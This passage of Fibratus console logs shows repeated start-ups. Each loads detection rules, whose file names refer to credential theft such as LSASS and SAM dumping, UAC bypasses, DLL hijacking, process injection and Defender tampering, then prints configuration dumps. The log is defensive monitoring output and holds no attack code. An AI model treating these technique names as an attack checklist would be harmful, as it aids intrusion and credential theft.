C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_ifileoperation_abuse.yml source=config/filters.go:355 +time=2025-11-25T21:05:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-25T21:05:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_assembly_native_image_cache_hijack.yml source=config/filters.go:355 +time=2025-11-25T21:05:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_cdssync_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-11-25T21:05:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_command_handler.yml source=config/filters.go:355 +time=2025-11-25T21:05:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_control_panel_applet_execution_hijack.yml source=config/filters.go:355 +time=2025-11-25T21:05:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dll_hijack_from_windows_media_player_directory.yml source=config/filters.go:355 +time=2025-11-25T21:05:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dotnet_code_profiler_dll_hijack.yml source=config/filters.go:355 +time=2025-11-25T21:05:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_icmluautil_com_interface.yml source=config/filters.go:355 +time=2025-11-25T21:05:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_ntfs_junction_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-25T21:05:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_program_compatibility_assistant_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-11-25T21:05:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_requesttrace_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-11-25T21:05:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_rouge_mmc_snap-in.yml source=config/filters.go:355 +time=2025-11-25T21:05:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_trusted_windows_directory_masquerading.yml source=config/filters.go:355 +time=2025-11-25T21:05:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-11-25T21:05:57+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-11-25T21:05:57+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: true + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: true + HasAuditAPIEvents: true + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Accept, Connect, CreateFile, CreateHandle, CreateProcess, CreateSymbolicLinkObject, CreateThread, DeleteFile, LoadImage, MapViewFile, OpenProcess, OpenThread, Recv, RegCreateKey, RegOpenKey, RegSetValue, Send, SetFileInformation, SetThreadContext, UnloadImage, UnmapViewFile source=bootstrap/bootstrap.go:150 +time=2025-11-25T21:05:57+01:00 level=info msg=bootstrapping with pid 1272. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-25T21:05:57+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ slack=>[ enabled=>false] mail=>[ use-template=>true enabled=>false port=>25 to=>[] content-type=>text/html] eventlog=>[ verbose=>true enabled=>true] systray=>[ sound=>true quiet-mode=>false enabled=>false]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-handles=>false serialize-pe=>false serialize-threads=>false serialize-envs=>true serialize-images=>false] + eventsource .................... [ max-buffers=>36 enable-dns=>false enable-image=>true enable-vamap=>true enable-fileio=>true enable-net=>true enable-mem=>false enable-audit-api=>true buffer-size=>512 enable-registry=>true min-buffers=>16 enable-thread=>true enable-handle=>false enable-threadpool=>false blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] stack-enrichment=>true flush-interval=>1s] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ match-all=>true macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] rules=>[ enabled=>true from-urls=>[] from-paths=>[C:\Fibratus\fibratus\rules\*.yml]]] + forward ........................ false + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ max-backups=>15 formatter=>text log-stdout=>true max-size=>100 level=>info max-age=>0] + output ......................... [ elasticsearch=>[ healthcheck-interval=>10s template-name=>fibratus flush-period=>1s index-name=>fibratus healthcheck=>true enabled=>false servers=>[http://127.0.0.1:9200] trace-log=>false sniff=>false gzip-compression=>false bulk-workers=>1 timeout=>5s healthcheck-timeout=>5s] amqp=>[ routing-key=>fibratus passive=>false vhost=>/ tls-insecure-skip-verify=>false exchange-type=>topic url=>amqp://localhost:5672 enabled=>false exchange=>fibratus delivery-mode=>transient timeout=>5s durable=>false] console=>[ format=>pretty enabled=>true template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} +] eventlog=>[ enabled=>false level=>info] http=>[ enabled=>false timeout=>5s tls-insecure-skip-verify=>false method=>POST enable-gzip=>false endpoints=>[] serializer=>json]] + pe ............................. [ excluded-images=>[svchost.exe] read-resources=>false read-sections=>false enabled=>false read-symbols=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ remove=>[ enabled=>false params=>[]] tags=>[ enabled=>false] replace=>[ enabled=>false] trim=>[ enabled=>false] rename=>[ enabled=>false]] + yara ........................... [ rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] fastscan=>true scan-timeout=>10s skip-registry=>false skip-files=>false skip-mmaps=>false skip-allocs=>false excluded-procs=>[] excluded-files=>[] enabled=>false] source=bootstrap/bootstrap.go:185 +time=2025-11-25T21:05:58+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-25T21:06:01+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-25T21:06:09+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-25T21:06:09+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-25T21:06:10+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-25T21:07:28+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-11-25T21:07:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-11-25T21:07:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-11-25T21:07:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-11-25T21:07:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-11-25T21:07:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-11-25T21:07:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-11-25T21:07:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-11-25T21:07:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-11-25T21:07:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-11-25T21:07:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-11-25T21:07:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-11-25T21:07:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-11-25T21:07:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-11-25T21:07:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-11-25T21:07:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-11-25T21:07:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-11-25T21:07:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-11-25T21:07:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-11-25T21:07:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-11-25T21:07:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-11-25T21:07:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-11-25T21:07:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-11-25T21:07:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-11-25T21:07:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-11-25T21:07:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-11-25T21:07:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-11-25T21:07:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-11-25T21:07:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-11-25T21:07:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-11-25T21:07:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-11-25T21:07:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-11-25T21:07:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-11-25T21:07:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-11-25T21:07:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-11-25T21:07:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-11-25T21:07:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-11-25T21:07:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-11-25T21:07:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-11-25T21:07:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-11-25T21:07:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-11-25T21:07:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-25T21:07:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-11-25T21:07:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-11-25T21:07:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-11-25T21:07:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-11-25T21:07:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-11-25T21:07:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-11-25T21:07:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-11-25T21:07:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-11-25T21:07:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-11-25T21:07:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-25T21:07:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-11-25T21:07:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-11-25T21:07:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-25T21:07:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-25T21:07:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-25T21:07:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-25T21:07:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-11-25T21:07:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-11-25T21:07:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-25T21:07:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-25T21:07:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-25T21:07:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-11-25T21:07:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-11-25T21:07:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-11-25T21:07:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-11-25T21:07:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-25T21:07:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-11-25T21:07:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-11-25T21:07:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-11-25T21:07:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-11-25T21:07:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-11-25T21:07:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-25T21:07:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-11-25T21:07:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-11-25T21:07:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-11-25T21:07:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-11-25T21:07:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-11-25T21:07:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_deadpotato_exploit.yml source=config/filters.go:355 +time=2025-11-25T21:07:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_ifileoperation_abuse.yml source=config/filters.go:355 +time=2025-11-25T21:07:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-25T21:07:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_assembly_native_image_cache_hijack.yml source=config/filters.go:355 +time=2025-11-25T21:07:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_cdssync_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-11-25T21:07:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_command_handler.yml source=config/filters.go:355 +time=2025-11-25T21:07:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_control_panel_applet_execution_hijack.yml source=config/filters.go:355 +time=2025-11-25T21:07:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dll_hijack_from_windows_media_player_directory.yml source=config/filters.go:355 +time=2025-11-25T21:07:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dotnet_code_profiler_dll_hijack.yml source=config/filters.go:355 +time=2025-11-25T21:07:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_icmluautil_com_interface.yml source=config/filters.go:355 +time=2025-11-25T21:07:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_ntfs_junction_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-25T21:07:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_program_compatibility_assistant_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-11-25T21:07:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_requesttrace_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-11-25T21:07:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_rouge_mmc_snap-in.yml source=config/filters.go:355 +time=2025-11-25T21:07:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_trusted_windows_directory_masquerading.yml source=config/filters.go:355 +time=2025-11-25T21:07:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-11-25T21:07:28+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-11-25T21:07:28+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: true + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: true + HasAuditAPIEvents: true + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Accept, Connect, CreateFile, CreateHandle, CreateProcess, CreateSymbolicLinkObject, CreateThread, DeleteFile, LoadImage, MapViewFile, OpenProcess, OpenThread, Recv, RegCreateKey, RegOpenKey, RegSetValue, Send, SetFileInformation, SetThreadContext, UnloadImage, UnmapViewFile source=bootstrap/bootstrap.go:150 +time=2025-11-25T21:07:28+01:00 level=info msg=bootstrapping with pid 17064. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-25T21:07:28+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ mail=>[ to=>[] port=>25 use-template=>true enabled=>false content-type=>text/html] slack=>[ enabled=>false] systray=>[ sound=>true enabled=>false quiet-mode=>false] eventlog=>[ enabled=>true verbose=>true]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-handles=>false serialize-envs=>true serialize-threads=>false serialize-images=>false serialize-pe=>false] + eventsource .................... [ min-buffers=>16 enable-fileio=>true enable-dns=>false max-buffers=>36 enable-registry=>true enable-audit-api=>true enable-net=>true flush-interval=>1s stack-enrichment=>true enable-handle=>false enable-thread=>true enable-threadpool=>false enable-image=>true blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] enable-vamap=>true enable-mem=>false buffer-size=>512] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ match-all=>true macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] rules=>[ enabled=>true from-paths=>[C:\Fibratus\fibratus\rules\*.yml] from-urls=>[]]] + forward ........................ false + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ log-stdout=>true max-size=>100 formatter=>text level=>info max-backups=>15 max-age=>0] + output ......................... [ amqp=>[ vhost=>/ url=>amqp://localhost:5672 exchange-type=>topic durable=>false enabled=>false delivery-mode=>transient passive=>false routing-key=>fibratus timeout=>5s tls-insecure-skip-verify=>false exchange=>fibratus] elasticsearch=>[ healthcheck-interval=>10s healthcheck-timeout=>5s servers=>[http://127.0.0.1:9200] sniff=>false gzip-compression=>false trace-log=>false bulk-workers=>1 index-name=>fibratus healthcheck=>true flush-period=>1s template-name=>fibratus timeout=>5s enabled=>false] http=>[ enabled=>false timeout=>5s serializer=>json tls-insecure-skip-verify=>false enable-gzip=>false method=>POST endpoints=>[]] eventlog=>[ level=>info enabled=>false] console=>[ template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} + format=>pretty enabled=>true]] + pe ............................. [ enabled=>false excluded-images=>[svchost.exe] read-resources=>false read-sections=>false read-symbols=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ replace=>[ enabled=>false] remove=>[ enabled=>false params=>[]] rename=>[ enabled=>false] tags=>[ enabled=>false] trim=>[ enabled=>false]] + yara ........................... [ skip-registry=>false excluded-files=>[] fastscan=>true skip-files=>false skip-mmaps=>false enabled=>false skip-allocs=>false excluded-procs=>[] rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] scan-timeout=>10s] source=bootstrap/bootstrap.go:185 +time=2025-11-25T21:07:28+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-25T21:07:31+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-25T21:08:12+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-25T21:08:12+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-25T21:08:13+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-25T21:08:32+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-11-25T21:08:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-11-25T21:08:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-11-25T21:08:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-11-25T21:08:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-11-25T21:08:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-11-25T21:08:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-11-25T21:08:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-11-25T21:08:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-11-25T21:08:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-11-25T21:08:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-11-25T21:08:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-11-25T21:08:32+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml 